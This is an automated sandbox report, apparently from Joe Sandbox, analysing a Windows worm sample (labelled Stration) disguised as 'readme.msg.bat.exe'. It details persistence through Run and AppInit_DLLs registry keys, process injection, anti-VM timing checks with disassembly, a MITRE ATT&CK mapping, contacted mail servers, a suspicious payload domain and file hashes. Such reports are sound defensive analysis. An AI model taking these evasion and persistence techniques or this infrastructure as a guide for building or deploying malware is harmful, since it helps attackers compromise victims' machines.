Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00426687 push ecx; ret	0_2_00426697

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Executable created and started: C:\Windows\tserv.exe

Jump to behavior

Source: C:\Users\user\Desktop\readme.msg.bat.exe

File created: C:\Windows\tserv.exe

Jump to dropped file

Source: C:\Users\user\Desktop\readme.msg.bat.exe

File created: C:\Windows\tserv.exe

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Windows\tserv.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows AppInit_DLLs

Jump to behavior

Source: C:\Windows\tserv.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run tserv			Jump to behavior
Source: C:\Windows\tserv.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run tserv			Jump to behavior

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_0041D159 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,

0_2_0041D159

Malware Analysis System Evasion

Detected PE file pumping (to bypass AV & sandboxing)

Source: readme.msg.bat.exe

Static PE information: Resource name: RT_ICON size: 0xffffff28

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\readme.msg.bat.exe	RDTSC instruction interceptor: First address: 40C1E0 second address: 40C1EE instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+04h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [7598188Ch] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007EFDC919F7D5h 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 mov esp, ebp 0x0000003b pop ebp 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f mov dword ptr [esp+08h], eax 0x00000043 rdtsc
Source: C:\Users\user\Desktop\readme.msg.bat.exe	RDTSC instruction interceptor: First address: 40C1EE second address: 40C1FC instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+08h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [7598188Ch] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007EFDC8D9B375h 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 mov esp, ebp 0x0000003b pop ebp 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f mov dword ptr [esp+0Ch], eax 0x00000043 rdtsc
Source: C:\Users\user\Desktop\readme.msg.bat.exe	RDTSC instruction interceptor: First address: 40C1FC second address: 40C20A instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+0Ch], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [7598188Ch] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007EFDC919F7D5h 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 mov esp, ebp 0x0000003b pop ebp 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f mov dword ptr [esp+10h], eax 0x00000043 rdtsc

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_0040C1D0 rdtsc

0_2_0040C1D0

Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior
Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_0-12752

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-12686

Source: C:\Windows\tserv.exe TID: 616	Thread sleep time: -300000s >= -30000s			Jump to behavior
Source: C:\Windows\tserv.exe TID: 6676	Thread sleep time: -300000s >= -30000s			Jump to behavior

Source: C:\Windows\tserv.exe	Last function: Thread delayed
Source: C:\Windows\tserv.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_00406360 GetFileAttributesA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,GetLastError,lstrcmpA,lstrcmpA,lstrcmpA,lstrcpyA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,FindNextFileA,FindClose,

0_2_00406360

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_00429F44 VirtualQuery,GetSystemInfo,VirtualQuery,VirtualAlloc,VirtualProtect,

0_2_00429F44

Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior
Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior

Source: C:\Users\user\Desktop\readme.msg.bat.exe

API call chain: ExitProcess graph end node

graph_0-12753

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_0040C1D0 rdtsc

0_2_0040C1D0

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_0041F660 LoadLibraryA,GetProcAddress,SetWindowsHookExA,

0_2_0041F660

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_004210D0 GetProcessHeap,GetProcessHeap,HeapAlloc,RegOpenKeyExA,GetLastError,GetProcessHeap,HeapFree,RegCloseKey,

0_2_004210D0

Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0042731A SetUnhandledExceptionFilter,		0_2_0042731A
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0042732E SetUnhandledExceptionFilter,		0_2_0042732E

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject threads in other processes

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_00404840 OpenProcess,lstrlenA,VirtualAllocEx,WriteProcessMemory,GetModuleHandleA,GetProcAddress,CreateRemoteThread,

0_2_00404840

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_00423260 GetProcessHeap,HeapAlloc,HeapAlloc,HeapAlloc,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,InitializeSecurityDescriptor,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetTokenInformation,GetTokenInformation,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,AllocateAndInitializeSid,GetLengthSid,AddAce,AllocateAndInitializeSid,GetLengthSid,AddAce,AllocateAndInitializeSid,GetLengthSid,AddAce,IsValidSecurityDescriptor,

0_2_00423260

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: GetLocaleInfoA,

0_2_0042C8B2

Source: C:\Windows\SysWOW64\notepad.exe

Queries volume information: C:\Users\user\Desktop\A853.tmp VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_00401830 ExpandEnvironmentStringsA,GetLocalTime,CreateFileA,CloseHandle,

0_2_00401830

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_0040BE00 lstrlenA,GetLocalTime,GetTimeZoneInformation,lstrlenA,

0_2_0040BE00

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_00425D91 EntryPoint,GetVersionExA,GetModuleHandleA,GetModuleHandleA,_fast_error_exit,_fast_error_exit,GetCommandLineA,GetStartupInfoA,__wincmdln,GetModuleHandleA,

0_2_00425D91

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Native API	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	121 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	11 Process Injection	121 Virtualization/Sandbox Evasion	LSASS Memory	32 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	11 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	124 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
readme.msg.bat.exe	82%	Virustotal		Browse
readme.msg.bat.exe	95%	ReversingLabs	Win32.Worm.Stration
readme.msg.bat.exe	100%	Avira	WORM/Stration.C
readme.msg.bat.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\tserv.exe	100%	Avira	WORM/Stration.C
C:\Windows\tserv.exe	100%	Joe Sandbox ML
C:\Windows\tserv.exe	95%	ReversingLabs	Win32.Worm.Stration

Name	IP	Active	Malicious	Reputation
mta6.am0.yahoodns.net	67.195.204.74	true	false	high
alt3.gmail-smtp-in.l.google.com	142.250.141.26	true	false	high
alt4.gmail-smtp-in.l.google.com	192.178.128.26	true	false	high
mta7.am0.yahoodns.net	67.195.228.94	true	false	high
gmail-smtp-in.l.google.com	209.85.233.26	true	false	high
mta5.am0.yahoodns.net	67.195.228.109	true	false	high
www4.cedesunjerinkas.com	193.166.255.171	true	false	unknown
alt1.gmail-smtp-in.l.google.com	142.250.157.26	true	false	high
alt2.gmail-smtp-in.l.google.com	173.194.202.26	true	false	high
gmail.com	unknown	unknown	false	high
yahoo.com	unknown	unknown	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.141.26	alt3.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
67.195.228.94	mta7.am0.yahoodns.net	United States	36647	YAHOO-GQ1US	false
193.166.255.171	www4.cedesunjerinkas.com	Finland	1741	FUNETASFI	false
67.195.228.109	mta5.am0.yahoodns.net	United States	36647	YAHOO-GQ1US	false
142.250.157.26	alt1.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
67.195.204.74	mta6.am0.yahoodns.net	United States	26101	YAHOO-3US	false
192.178.128.26	alt4.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579447
Start date and time:	2024-12-22 12:14:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	readme.msg.bat.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@6/3@11/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 19 Number of non-executed functions: 124
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56, 20.109.210.53
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com

Simulations

Behavior and APIs

Time	Type	Description
06:15:22	API Interceptor	8x Sleep call for process: tserv.exe modified
12:15:23	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run tserv C:\Windows\tserv.exe s

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
67.195.228.94	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse
	document.log.scr.exe	Get hash	malicious	Unknown	Browse
	fdnoqmpv.exe	Get hash	malicious	Tofsee	Browse
	AvDJi40xp_9fyz7RPmKdbxb4.exe	Get hash	malicious	Tofsee	Browse
	dIg0MWRViP.exe	Get hash	malicious	Tofsee	Browse
	SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Get hash	malicious	Phorpiex	Browse
	file.exe	Get hash	malicious	Phorpiex	Browse
	WtRLqa6ZXn.exe	Get hash	malicious	Unknown	Browse
	newtpp.exe	Get hash	malicious	Phorpiex	Browse
	gEkl9O5tiu.exe	Get hash	malicious	Phorpiex	Browse
193.166.255.171	fmlgbgc2p5.exe	Get hash	malicious	Neconyd	Browse	lousta.net/952/351.html
	cOviNFmw21.exe	Get hash	malicious	Neconyd	Browse	lousta.net/352/26.html
	nNX5KYQRhg.exe	Get hash	malicious	Neconyd	Browse	lousta.net/691/461.html
	bd0wJGTae5.exe	Get hash	malicious	Neconyd	Browse	lousta.net/562/252.html
	HUo09bfA3g.exe	Get hash	malicious	Neconyd	Browse	lousta.net/989/145.html
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	www4.cedesunjerinkas.com/chr/wtb/lt.exe
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	www4.cedesunjerinkas.com/chr/wtb/lt.exe
	document.log.scr.exe	Get hash	malicious	Unknown	Browse	www4.cedesunjerinkas.com/chr/wtb/lt.exe
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.synetik.net/
	cnzWgjUhS2.exe	Get hash	malicious	Neconyd	Browse	lousta.net/161/343.html
67.195.228.109	uMlLpvdLRU.exe	Get hash	malicious	Tofsee	Browse
	RSno9EH0K9.exe	Get hash	malicious	Tofsee	Browse
	ODy57hA4Su.exe	Get hash	malicious	Tofsee	Browse
	Uc84uB877e.exe	Get hash	malicious	Tofsee	Browse
	Eduhazqw4u.exe	Get hash	malicious	Tofsee	Browse
	file.exe	Get hash	malicious	Phorpiex	Browse
	file.exe	Get hash	malicious	Phorpiex	Browse
	RqrQG7s66x.dll	Get hash	malicious	Unknown	Browse
	gEkl9O5tiu.exe	Get hash	malicious	Phorpiex	Browse
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mta7.am0.yahoodns.net	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	98.136.96.77
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	98.136.96.77
	document.log.scr.exe	Get hash	malicious	Unknown	Browse	98.136.96.77
	OPgjjiInNK.exe	Get hash	malicious	Tofsee	Browse	98.136.96.76
	2FnvReiPU6.exe	Get hash	malicious	Tofsee	Browse	98.136.96.91
	874A7cigvX.exe	Get hash	malicious	Tofsee	Browse	67.195.204.74
	RSno9EH0K9.exe	Get hash	malicious	Tofsee	Browse	67.195.228.111
	Uc84uB877e.exe	Get hash	malicious	Tofsee	Browse	67.195.228.109
	bEsOrli29K.exe	Get hash	malicious	Tofsee	Browse	67.195.204.77
	Eduhazqw4u.exe	Get hash	malicious	Tofsee	Browse	67.195.228.109
mta6.am0.yahoodns.net	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	98.136.96.75
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	98.136.96.76
	document.log.scr.exe	Get hash	malicious	Unknown	Browse	98.136.96.75
	Crt09EgZK3.exe	Get hash	malicious	Tofsee	Browse	98.136.96.77
	2IFYYPRUgO.exe	Get hash	malicious	Tofsee	Browse	67.195.228.111
	qkkcfptf.exe	Get hash	malicious	Tofsee	Browse	98.136.96.74
	vekvtia.exe	Get hash	malicious	Tofsee	Browse	67.195.204.79
	knkduwqg.exe	Get hash	malicious	Tofsee	Browse	98.136.96.75
	foufdsk.exe	Get hash	malicious	Tofsee	Browse	98.136.96.76
	UUJycuNA6D.exe	Get hash	malicious	Tofsee	Browse	67.195.204.77
mta5.am0.yahoodns.net	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	67.195.204.72
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	67.195.228.94
	document.log.scr.exe	Get hash	malicious	Unknown	Browse	67.195.228.94
	uMlLpvdLRU.exe	Get hash	malicious	Tofsee	Browse	67.195.228.109
	6foBmRMlDy.exe	Get hash	malicious	Tofsee	Browse	67.195.228.106
	rXTqHar5Ud.exe	Get hash	malicious	Tofsee	Browse	98.136.96.74
	H3nfKrgQbi.exe	Get hash	malicious	Tofsee	Browse	67.195.204.79
	ODy57hA4Su.exe	Get hash	malicious	Tofsee	Browse	67.195.228.109
	igvdwmhd.exe	Get hash	malicious	Tofsee	Browse	67.195.228.110
	fdnoqmpv.exe	Get hash	malicious	Tofsee	Browse	67.195.228.94
gmail-smtp-in.l.google.com	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	142.251.9.27
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	142.251.9.27
	document.log.scr.exe	Get hash	malicious	Unknown	Browse	142.250.153.26
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	142.251.168.27
	4ui8luUSNp.exe	Get hash	malicious	Coinhive, Xmrig	Browse	74.125.200.26
	.exe	Get hash	malicious	Unknown	Browse	142.251.173.26
	a5hbkmGD7N.exe	Get hash	malicious	Pushdo	Browse	173.194.219.26
	sorteado!!.com.exe	Get hash	malicious	Unknown	Browse	74.125.138.26
	file.exe	Get hash	malicious	Phorpiex	Browse	142.250.113.27
	webcam.txt.com.exe	Get hash	malicious	Unknown	Browse	172.253.115.27

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FUNETASFI	1.elf	Get hash	malicious	Unknown	Browse	157.24.67.239
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	157.24.58.243
	star.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	193.166.100.127
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	130.232.7.221
	2.elf	Get hash	malicious	Unknown	Browse	157.24.20.225
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	161.41.250.30
	2.elf	Get hash	malicious	Unknown	Browse	157.24.32.8
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	157.24.20.222
	ppc.elf	Get hash	malicious	Unknown	Browse	153.1.142.248
	bot.x86.elf	Get hash	malicious	Mirai	Browse	157.24.32.8
YAHOO-GQ1US	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	98.137.161.19
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	63.250.210.14
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	98.137.99.60
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	98.139.117.29
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	68.180.198.45
	yakuza.i686.elf	Get hash	malicious	Mirai	Browse	68.180.240.96
	meerkat.spc.elf	Get hash	malicious	Mirai	Browse	98.139.117.86
	https://t.co/WUjzOGRMNx	Get hash	malicious	Unknown	Browse	98.137.11.164
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	67.195.228.111
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	67.195.228.94
YAHOO-GQ1US	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	98.137.161.19
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	63.250.210.14
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	98.137.99.60
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	98.139.117.29
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	68.180.198.45
	yakuza.i686.elf	Get hash	malicious	Mirai	Browse	68.180.240.96
	meerkat.spc.elf	Get hash	malicious	Mirai	Browse	98.139.117.86
	https://t.co/WUjzOGRMNx	Get hash	malicious	Unknown	Browse	98.137.11.164
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	67.195.228.111
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	67.195.228.94
YAHOO-3US	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	98.139.166.53
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	74.6.55.55
	armv5l.elf	Get hash	malicious	Mirai	Browse	72.30.87.141
	b3astmode.mpsl.elf	Get hash	malicious	Mirai	Browse	72.30.61.6
	hax.spc.elf	Get hash	malicious	Mirai	Browse	76.13.110.17
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	98.139.17.180
	meerkat.arm.elf	Get hash	malicious	Mirai	Browse	76.13.33.145
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	67.195.204.72
	document.log.scr.exe	Get hash	malicious	Unknown	Browse	67.195.204.77
	splsh4.elf	Get hash	malicious	Unknown	Browse	76.13.198.161

Process:	C:\Users\user\Desktop\readme.msg.bat.exe
File Type:	data
Category:	modified
Size (bytes):	49437
Entropy (8bit):	6.642108276313584
Encrypted:	false
SSDEEP:	1536:eviV9aquzkF+PLcUTGTmpu2L6LHUInokmtCV:3uK+PLcaGTE+LHfn6t0
MD5:	4C412D6633FD2CABEF2D8DE6E2F06594
SHA1:	5251F915476701B5046B9BC31805A5601A4F6C6F
SHA-256:	3917FAF9D4D2507520872F6FFE9991D037719D3299C8DFF1340C3BF43F80A5D0
SHA-512:	FA03C48AF8A9DB83FCC785F12E3AFDD2DE02CE2038DED985800D5817DA66D6BF8F68A1E0C7BEFCEF018CD5E244A1894236A1951D21EA3846AF43CB103B0662A4
Malicious:	false
Reputation:	low
Preview:	/$.@4EjR=I\|nn.=OF$~9\|{[.lOk/5Y.rY)YtD.2xYcW%aPB.$u.>XT'~&Ov2NnWsJHe6kSAkL^E2ZV2=6L.03]kAG@]d]H>emZ&sWSfNK[jb]oQNie]\|`&{Pm`wTEky,_J.j{}DTN>&.]..+4")nm"}~EX...I Hg<`ZK77QdDm?1qbqF-"#q_e(6Cs$sv.,/]:Z4YsXU,\|@gG?.FD8?8E^wo3@T8`nzOK^3S oGMnMTV9zJ] GvXWTzn(?c.?"muqMut=_l{W_0mrm`+P=.VnECM U56J<5/rW=NcM.<uuJ]` gf+2F/(7cEf?ciZmDBXDPV_U\|7T@,`#T#^i`V8w\U-3NswfJ5b5X=8\YtID:jr8.F_0Z.~O~>V6GPm^qK+eYO+3K("?0if.VS.LJ^2yLg[%iWH}ph.ID.nd!&.zm_guAD\|`.x,pGRRL8N$ma^,Bcmq66\x\}5=o}T<2,h>UzRC_^EP>gA^4@L?K&.lcU63VH~rM86\|iX(P!RD@Om>V6e^R(GnD!2$YJn7&fF+2'6M\|tIU9VD4j>gb8{$px7o~@UM{BG1J7\|..{I;%tSRLhbma>`.B3/4~J%;^.$$4vspRxdJ`yHZ2bMX#p)@@W.3B&ACu=}$kSs^+9SuyhF0_.>=Ub.K@KLIiOxcOpeq3cL..s{y)JOqAh~txcJr]S +ElD9];xZ~f\|?t~ui..To.zm=OrvFav()($eN7pq>>axL/p.WuN=MN.).j%u7B5fnBa~I,F.:Vbz.AE,UIZo`5t2+~^j}EZp2&>X}v.'#aJ\|[dKt LEI.h]"cvQV^slBxG6I[.YRr\|CUu=z@wsmVSX.;HKTCGZ7DX/z.cj17!hFr77rEn[%8mlQjl<@hr%."TI.q$sFsT.D+>%Sz.]3v3hd!hI"#&.BLJ.7gwYMEw7.?m;i vsW8<~V(n!pa,)l>tmuiV1.wt_ho!2u>+#:n;\s/. R<0jTkt {MGSu`jnbXgIoY0B

C:\Windows\tserv.exe

Download File

Process:	C:\Users\user\Desktop\readme.msg.bat.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	648151
Entropy (8bit):	3.026022558665777
Encrypted:	false
SSDEEP:	3072:DFZ5qVGXvEQU+dXmEUy9rfe3kUdKSh7hKNjf7CwhqjEr8IcGN8yGBYPosqkxOqo5:JjqVG/pJZzfwsGX+LOODsK+
MD5:	99B66E501870CE033026D55DC5274AB0
SHA1:	57D7B4F8FC6FEB18187A59FCBE01029419F25BE3
SHA-256:	C0A793E1D786CC30E8E17AB97A0A614DFC6647033FEA780D88DC4FEA205C2674
SHA-512:	0DDA81856C3A28E2D24B396E075A4BB54874461112E8EE64DC3241E08267444D1F67AE10E8BEEAC9B523291D564BA8C569E2318BA8F987F3DF5573CDF4F550BD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 95%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............fr..fr..fr..n...fr..j}..fr..n/..fr.jn/..fr..fs.wfr..j-.fr..j...fr..m,..fr..j(..fr.Rich.fr.................PE..L... ?.E.....................p.......]............@..........................P..................................................P....@..................................................................H...............L............................text............................... ..`.rdata...........0..................@..@.data....(..........................@....rsrc........@....... ..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\tserv.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\readme.msg.bat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	3.026022558665777
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	readme.msg.bat.exe
File size:	648'151 bytes
MD5:	99b66e501870ce033026d55dc5274ab0
SHA1:	57d7b4f8fc6feb18187a59fcbe01029419f25be3
SHA256:	c0a793e1d786cc30e8e17ab97a0a614dfc6647033fea780d88dc4fea205c2674
SHA512:	0dda81856c3a28e2d24b396e075a4bb54874461112e8ee64dc3241e08267444d1f67ae10e8beeac9b523291d564ba8c569e2318ba8f987f3df5573cdf4f550bd
SSDEEP:	3072:DFZ5qVGXvEQU+dXmEUy9rfe3kUdKSh7hKNjf7CwhqjEr8IcGN8yGBYPosqkxOqo5:JjqVG/pJZzfwsGX+LOODsK+
TLSH:	3CD48D61F14DC1F1D44A2D7978AC826662B67E28173CABF3BB50BF0965B32D07C31A16
